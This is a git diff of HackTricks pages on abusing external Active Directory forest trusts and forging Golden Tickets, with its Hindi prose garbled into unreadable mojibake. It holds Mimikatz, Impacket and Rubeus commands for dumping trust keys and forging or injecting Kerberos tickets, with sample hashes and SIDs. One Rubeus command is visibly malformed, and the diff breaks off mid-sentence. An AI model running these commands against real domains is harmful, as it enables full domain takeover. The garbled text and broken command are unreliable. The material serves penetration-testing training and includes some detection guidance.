-рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдЯреНрд░рд╕реНрдЯ рдЦрд╛рддреЗ рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рдпрдорд┐рдд рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдЯреНрд░рд╕реНрдЯ рдЦрд╛рддреЗ рдХреЗ рдХреЗрд░реНрдмреЗрд░реЛрд╕ рдЧреБрдкреНрдд рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ TGT рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХрд╛ рдПрдХ рд╡рд┐рдХрд▓реНрдк рд╣реИред рдпрд╣рд╛рдБ, ext.local рд╕реЗ root.local рдХреЗ рд▓рд┐рдП Domain Admins рдХреЗ рд╕рджрд╕реНрдпреЛрдВ рдХрд╛ рдкреНрд░рд╢реНрди рдкреВрдЫрдирд╛: +рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдЯреНрд░рд╕реНрдЯ рдЦрд╛рддреЗ рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рдпрдорд┐рдд рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдЯреНрд░рд╕реНрдЯ рдЦрд╛рддреЗ рдХреЗ рдХреЗрд░реНрдмреЗрд░реЛрд╕ рдЧреБрдкреНрдд рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ TGT рдорд╛рдВрдЧрдиреЗ рдХрд╛ рдПрдХ рд╡рд┐рдХрд▓реНрдк рд╣реИред рдпрд╣рд╛рдБ, ext.local рд╕реЗ Domain Admins рдХреЗ рд╕рджрд╕реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП root.local рдХреЛ рдХреНрд╡реЗрд░реА рдХрд░рдирд╛: ![](<../../images/image (792).png>) diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md index d7bcf47b4..877b39db6 100644 --- a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md +++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md @@ -1,13 +1,13 @@ -# рдмрд╛рд╣рд░реА рд╡рди рдбреЛрдореЗрди - рдПрдХрддрд░рдлрд╛ (рдЗрдирдмрд╛рдЙрдВрдб) рдпрд╛ рджреНрд╡рд┐рджрд┐рд╢реАрдп +# External Forest Domain - OneWay (Inbound) or bidirectional {{#include ../../banners/hacktricks-training.md}} рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ рдПрдХ рдмрд╛рд╣рд░реА рдбреЛрдореЗрди рдЖрдк рдкрд░ рднрд░реЛрд╕рд╛ рдХрд░ рд░рд╣рд╛ рд╣реИ (рдпрд╛ рджреЛрдиреЛрдВ рдПрдХ-рджреВрд╕рд░реЗ рдкрд░ рднрд░реЛрд╕рд╛ рдХрд░ рд░рд╣реЗ рд╣реИрдВ), рдЗрд╕рд▓рд┐рдП рдЖрдк рдЗрд╕рдХреЗ рдКрдкрд░ рдХреБрдЫ рдкреНрд░рдХрд╛рд░ рдХреА рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -## рдЧрдгрдирд╛ +## Enumeration -рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдЖрдкрдХреЛ **рдЧрдгрдирд╛** рдХрд░рдиреА рд╣реЛрдЧреА **рднрд░реЛрд╕реЗ** рдХреА: -```powershell +рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдЖрдкрдХреЛ **enumerate** рдХрд░рдирд╛ рд╣реЛрдЧрд╛ **trust**: +```bash Get-DomainTrust SourceName : a.domain.local --> Current domain TargetName : domain.external --> Destination domain @@ -60,10 +60,10 @@ IsDomain : True ## рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдкрд╣реБрдВрдЪ -рдпрджрд┐ рдЖрдк рдЕрдиреНрдп рдбреЛрдореЗрди рдореЗрдВ рдЕрдкрдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдХреЛрдИ **рд╡рд┐рд╢реЗрд╖** рдкрд╣реБрдВрдЪ рдирд╣реАрдВ рдкрд╛ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЕрднреА рднреА AD рдкрджреНрдзрддрд┐ рдкрд░ рд╡рд╛рдкрд╕ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **рдПрдХ рдЕрдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬреНрдб рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдкреНрд░рд┐рд╡реЗрд╕реНрдХ** рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ рдХрд┐ рдХреЗрд░реНрдмреЗрд░реЛрд╕реНрдЯрд┐рдВрдЧ): +рдпрджрд┐ рдЖрдк рдЕрдкрдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рдбреЛрдореЗрди рдореЗрдВ рдХреЛрдИ **рд╡рд┐рд╢реЗрд╖** рдкрд╣реБрдВрдЪ рдирд╣реАрдВ рдкрд╛ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЕрднреА рднреА AD рд╡рд┐рдзрд┐ рдореЗрдВ рд╡рд╛рдкрд╕ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **рдПрдХ рдЕрдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬреНрдб рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдкреНрд░рд┐рд╡реЗрд╕реНрдХ** рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХреЗрд░рдмреЗрд░реЛрд╕реНрдЯрд┐рдВрдЧ рдЬреИрд╕реА рдЪреАрдЬреЗрдВ): рдЖрдк **Powerview functions** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ `-Domain` рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде **рдЕрдиреНрдп рдбреЛрдореЗрди** рдХреЛ **рдЧрдгрдирд╛** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ: -```powershell +```bash Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName ``` {{#ref}} @@ -74,24 +74,24 @@ Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName ### рд▓реЙрдЧрд┐рди рдХрд░рдирд╛ -рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдЬрд┐рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдкрд╛рд╕ рдмрд╛рд╣рд░реА рдбреЛрдореЗрди рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ, рдЙрдирдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рд╕рд╛рде рдЖрдкрдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП: -```powershell +рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рд╕рд╛рде рдЬрд┐рдирдХреЗ рдкрд╛рд╕ рдмрд╛рд╣рд░реА рдбреЛрдореЗрди рддрдХ рдкрд╣реБрдВрдЪ рд╣реИ, рдЖрдкрдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП: +```bash Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator ``` ### SID рдЗрддрд┐рд╣рд╛рд╕ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдЖрдк рдПрдХ рдЬрдВрдЧрд▓ рдЯреНрд░рд╕реНрдЯ рдХреЗ рдкрд╛рд░ [**SID рдЗрддрд┐рд╣рд╛рд╕**](sid-history-injection.md) рдХрд╛ рднреА рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -рдпрджрд┐ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **рдПрдХ рдЬрдВрдЧрд▓ рд╕реЗ рджреВрд╕рд░реЗ рдЬрдВрдЧрд▓ рдореЗрдВ** рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ **SID рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реИ**, рддреЛ **рджреВрд╕рд░реЗ рдЬрдВрдЧрд▓ рд╕реЗ рдПрдХ SID рдЬреЛрдбрд╝рдирд╛** рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ **SID** **рд╡рд┐рд╢реНрд╡рд╛рд╕** рдХреЗ рдкрд╛рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рддреЗ рд╕рдордп **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЯреЛрдХрди** рдореЗрдВ **рдЬреЛрдбрд╝рд╛** рдЬрд╛рдПрдЧрд╛ред +рдпрджрд┐ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **рдПрдХ рдЬрдВрдЧрд▓ рд╕реЗ рджреВрд╕рд░реЗ рдЬрдВрдЧрд▓ рдореЗрдВ** рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ **SID рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реИ**, рддреЛ **рджреВрд╕рд░реЗ рдЬрдВрдЧрд▓ рд╕реЗ рдПрдХ SID рдЬреЛрдбрд╝рдирд╛** рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ **SID** **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЯреЛрдХрди** рдореЗрдВ **рдЬреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛** рдЬрдм **рдЯреНрд░рд╕реНрдЯ** рдХреЗ рдкрд╛рд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред > [!WARNING] -> рдпрд╛рдж рджрд┐рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рд╕рд╛рдЗрдирд┐рдВрдЧ рдХреБрдВрдЬреА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ +> рдпрд╛рдж рджрд┐рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рд╕рд╛рдЗрдирд┐рдВрдЧ рдХреА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ > -> ```powershell +> ```bash > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local > ``` -рдЖрдк **рд╡рд░реНрддрдорд╛рди рдбреЛрдореЗрди** рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ **TGT рдЕрдиреБрдХрд░рдг** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп** рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде **рд╣рд╕реНрддрд╛рдХреНрд╖рд░** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЖрдк **рд╡рд░реНрддрдорд╛рди рдбреЛрдореЗрди** рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ **TGT** рдЕрдиреБрдХрд░рдг рдХрд░рддреЗ рд╣реБрдП **рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп** рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде **рд╕рд╛рдЗрди** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```bash # Get a TGT for the cross-domain privileged user to the other domain Invoke-Mimikatz -Command '"kerberos::golden /user: /domain: /SID: /rc4: /target: /ticket:C:\path\save\ticket.kirbi"' diff --git a/src/windows-hardening/active-directory-methodology/golden-ticket.md b/src/windows-hardening/active-directory-methodology/golden-ticket.md index e6d8e7aff..07664f8ba 100644 --- a/src/windows-hardening/active-directory-methodology/golden-ticket.md +++ b/src/windows-hardening/active-directory-methodology/golden-ticket.md @@ -6,9 +6,9 @@ рдПрдХ **Golden Ticket** рд╣рдорд▓рд╛ **рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддреЗ рд╣реБрдП рдПрдХ рд╡реИрдз Ticket Granting Ticket (TGT) рдмрдирд╛рдиреЗ** рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ, рдЬреЛ **Active Directory (AD) krbtgt рдЦрд╛рддреЗ рдХреЗ NTLM рд╣реИрд╢** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рддрдХрдиреАрдХ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдлрд╛рдпрджреЗрдордВрдж рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ **рдЕрдиреБрдХрд░рдг рдХрд┐рдП рдЧрдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдбреЛрдореЗрди рдХреЗ рднреАрддрд░ рдХрд┐рд╕реА рднреА рд╕реЗрд╡рд╛ рдпрд╛ рдорд╢реАрди рддрдХ рдкрд╣реБрдВрдЪ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдпрд╣ рдпрд╛рдж рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ **krbtgt рдЦрд╛рддреЗ рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрднреА рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЕрдкрдбреЗрдЯ рдирд╣реАрдВ рд╣реЛрддреЗ**ред -**krbtgt рдЦрд╛рддреЗ рдХрд╛ NTLM рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕реЗ **Local Security Authority Subsystem Service (LSASS) рдкреНрд░рдХреНрд░рд┐рдпрд╛** рдпрд╛ **NT Directory Services (NTDS.dit) рдлрд╝рд╛рдЗрд▓** рд╕реЗ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдбреЛрдореЗрди рдХреЗ рднреАрддрд░ рдХрд┐рд╕реА рднреА Domain Controller (DC) рдкрд░ рд╕реНрдерд┐рдд рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **DCsync рд╣рдорд▓реЗ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛** рдЗрд╕ NTLM рд╣реИрд╢ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдПрдХ рдФрд░ рд░рдгрдиреАрддрд┐ рд╣реИ, рдЬрд┐рд╕реЗ **Mimikatz рдореЗрдВ lsadump::dcsync рдореЙрдбреНрдпреВрд▓** рдпрд╛ **Impacket рджреНрд╡рд╛рд░рд╛ secretsdump.py рд╕реНрдХреНрд░рд┐рдкреНрдЯ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдЗрди рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдбреЛрдореЗрди рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдпрд╛ рд╕рдорд╛рди рд╕реНрддрд░ рдХреА рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ**ред +**krbtgt рдЦрд╛рддреЗ рдХрд╛ NTLM рд╣реИрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕реЗ **Local Security Authority Subsystem Service (LSASS) рдкреНрд░рдХреНрд░рд┐рдпрд╛** рд╕реЗ рдпрд╛ **NT Directory Services (NTDS.dit) рдлрд╝рд╛рдЗрд▓** рд╕реЗ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдбреЛрдореЗрди рдХреЗ рднреАрддрд░ рдХрд┐рд╕реА рднреА Domain Controller (DC) рдкрд░ рд╕реНрдерд┐рдд рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **DCsync рд╣рдорд▓реЗ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛** рдЗрд╕ NTLM рд╣реИрд╢ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдПрдХ рдФрд░ рд░рдгрдиреАрддрд┐ рд╣реИ, рдЬрд┐рд╕реЗ **Mimikatz рдореЗрдВ lsadump::dcsync рдореЙрдбреНрдпреВрд▓** рдпрд╛ **Impacket рджреНрд╡рд╛рд░рд╛ secretsdump.py рд╕реНрдХреНрд░рд┐рдкреНрдЯ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдЗрди рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рдбреЛрдореЗрди рдПрдбрдорд┐рди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдпрд╛ рд╕рдорд╛рди рд╕реНрддрд░ рдХреА рдкрд╣реБрдВрдЪ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ**ред -рд╣рд╛рд▓рд╛рдВрдХрд┐ NTLM рд╣реИрд╢ рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реНрдпрд╡рд╣рд╛рд░реНрдп рд╡рд┐рдзрд┐ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди **рд╕рдВрдЪрд╛рд▓рди рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░рдгреЛрдВ рд╕реЗ** **Advanced Encryption Standard (AES) Kerberos рдХреБрдВрдЬрд┐рдпреЛрдВ (AES128 рдФрд░ AES256) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯрд┐рдХрдЯреЛрдВ рдХреЛ рдмрдирд╛рдирд╛** **рдХрд╛рдлреА рдЕрдиреБрд╢рдВрд╕рд┐рдд** рд╣реИред +рд╣рд╛рд▓рд╛рдВрдХрд┐ NTLM рд╣реИрд╢ рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реНрдпрд╡рд╣рд╛рд░реНрдп рд╡рд┐рдзрд┐ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди **рд╕рдВрдЪрд╛рд▓рди рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░рдгреЛрдВ рд╕реЗ Advanced Encryption Standard (AES) Kerberos рдХреБрдВрдЬрд┐рдпреЛрдВ (AES128 рдФрд░ AES256) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯрд┐рдХрдЯреЛрдВ рдХреЛ рдмрдирд╛рдирд╛** **рдХрд╛рдлреА рдЕрдиреБрд╢рдВрд╕рд┐рдд** рд╣реИред ```bash:From Linux python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache @@ -16,6 +16,12 @@ python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass ``` ```bash:From Windows +# Rubeus +## The /ldap command will get the details from the LDAP (so you don't need to put the SID) +## The /printcmd option will print the complete command if later you want to generate a token offline +.\Rubeus.exe asktgt /user:Rubeus.exe golden /rc4: /domain: /sid: /sids:-519 /user:Administrator /ptt /ldap /nowrap /printcmd + +/rc4:25b2076cda3bfd6209161a6c78a69c1c /domain:jurassic.park /ptt #mimikatz kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt .\Rubeus.exe ptt /ticket:ticket.kirbi @@ -28,7 +34,7 @@ kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1 ### рд╕рд╛рдорд╛рдиреНрдп рдкрд╣рдЪрд╛рди рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ -рдЧреЛрд▓реНрдбрди рдЯрд┐рдХрдЯ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд╕рдмрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЗ **рдХреЗрд░реНрдмреЗрд░реЛрд╕ рдЯреНрд░реИрдлрд╝рд┐рдХ** рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛ рд╣реИрдВред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, Mimikatz **TGT рдХреЛ 10 рд╡рд░реНрд╖реЛрдВ рдХреЗ рд▓рд┐рдП рд╕рд╛рдЗрди** рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЗрд╕рдХреЗ рд╕рд╛рде рдХрд┐рдП рдЧрдП рдмрд╛рдж рдХреЗ TGS рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рдЕрд╕рд╛рдорд╛рдиреНрдп рдХреЗ рд░реВрдк рдореЗрдВ рдЦрдбрд╝рд╛ рд╣реЛрдЧрд╛ред +рдЧреЛрд▓реНрдбрди рдЯрд┐рдХрдЯ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд╕рдмрд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЗ **рдХреЗрд░реНрдмреЗрд░реЛрд╕ рдЯреНрд░реИрдлрд╝рд┐рдХ** рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛ рд╣реИред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, Mimikatz **TGT рдХреЛ 10 рд╡рд░реНрд╖реЛрдВ рдХреЗ рд▓рд┐рдП рд╕рд╛рдЗрди рдХрд░рддрд╛ рд╣реИ**, рдЬреЛ рдЗрд╕рдХреЗ рд╕рд╛рде рдХрд┐рдП рдЧрдП рдмрд╛рдж рдХреЗ TGS рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рдЕрд╕рд╛рдорд╛рдиреНрдп рдХреЗ рд░реВрдк рдореЗрдВ рдЦрдбрд╝рд╛ рд╣реЛрдЧрд╛ред `Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM` @@ -36,7 +42,7 @@ kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1 ``` Get-DomainPolicy | select -expand KerberosPolicy ``` -рджреБрд░реНрднрд╛рдЧреНрдпрд╡рд╢, TGT рдХрд╛ рдЬреАрд╡рдирдХрд╛рд▓ 4769 рдореЗрдВ рд▓реЙрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЖрдк рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ Windows рдЗрд╡реЗрдВрдЯ рд▓реЙрдЧ рдореЗрдВ рдирд╣реАрдВ рдкрд╛рдПрдВрдЧреЗред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдк рдЬреЛ рд╕рд╣рд╕рдВрдмрдВрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рд╡рд╣ рд╣реИ **4769 рдХреЛ рдмрд┐рдирд╛ рдкреВрд░реНрд╡ 4768 рдХреЗ рджреЗрдЦрдирд╛**ред рдпрд╣ **TGT рдХреЗ рдмрд┐рдирд╛ TGS рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ**, рдФрд░ рдпрджрд┐ TGT рдЬрд╛рд░реА рд╣реЛрдиреЗ рдХрд╛ рдХреЛрдИ рд░рд┐рдХреЙрд░реНрдб рдирд╣реАрдВ рд╣реИ, рддреЛ рд╣рдо рдпрд╣ рдирд┐рд╖реНрдХрд░реНрд╖ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕реЗ рдСрдлрд╝рд▓рд╛рдЗрди рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред +рджреБрд░реНрднрд╛рдЧреНрдпрд╡рд╢, TGT рдХрд╛ рдЬреАрд╡рдирдХрд╛рд▓ 4769 рдореЗрдВ рд▓реЙрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЖрдк рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА Windows рдЗрд╡реЗрдВрдЯ рд▓реЙрдЧ рдореЗрдВ рдирд╣реАрдВ рдкрд╛рдПрдВрдЧреЗред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЖрдк рдЬреЛ рд╕рд╣рд╕рдВрдмрдВрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рд╡рд╣ рд╣реИ **4769 рдХреЛ рдмрд┐рдирд╛ рдкреВрд░реНрд╡ 4768 рдХреЗ рджреЗрдЦрдирд╛**ред рдпрд╣ **TGT рдХреЗ рдмрд┐рдирд╛ TGS рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ**, рдФрд░ рдпрджрд┐ TGT рдЬрд╛рд░реА рд╣реЛрдиреЗ рдХрд╛ рдХреЛрдИ 